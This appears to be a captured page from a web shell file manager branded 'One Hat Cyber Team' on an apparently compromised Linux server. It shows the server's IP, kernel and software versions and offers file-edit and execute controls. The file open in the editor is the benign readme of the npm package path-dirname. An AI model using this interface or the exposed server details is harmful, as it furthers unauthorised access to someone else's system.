⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.1
Server IP:
185.238.29.86
Server:
Linux server2 6.8.12-6-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-6 (2024-12-19T19:05Z) x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.31
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
invoice
/
node_modules
/
path-dirname
/
Edit File: readme.md
# path-dirname [](https://travis-ci.org/es128/path-dirname) > Node.js [`path.dirname()`](https://nodejs.org/api/path.html#path_path_dirname_path) [ponyfill](https://ponyfill.com) This was needed in order to expose `path.posix.dirname()` on Node.js v0.10 ## Install ``` $ npm install --save path-dirname ``` ## Usage ```js const pathDirname = require('path-dirname'); pathDirname('/home/foo'); //=> '/home' pathDirname('C:\\Users\\foo'); //=> 'C:\\Users' pathDirname('foo'); //=> '.' pathDirname('foo/bar'); //=> 'foo' //Using posix version for consistent output when dealing with glob escape chars pathDirname.win32('C:\\Users\\foo/\\*bar'); //=> 'C:\\Users\\foo/' pathDirname.posix('C:\\Users\\foo/\\*bar'); //=> 'C:\\Users\\foo' ``` ## API See the [`path.dirname()` docs](https://nodejs.org/api/path.html#path_path_dirname_path). ### pathDirname(path) ### pathDirname.posix(path) POSIX specific version. ### pathDirname.win32(path) Windows specific version. ## License MIT
Simpan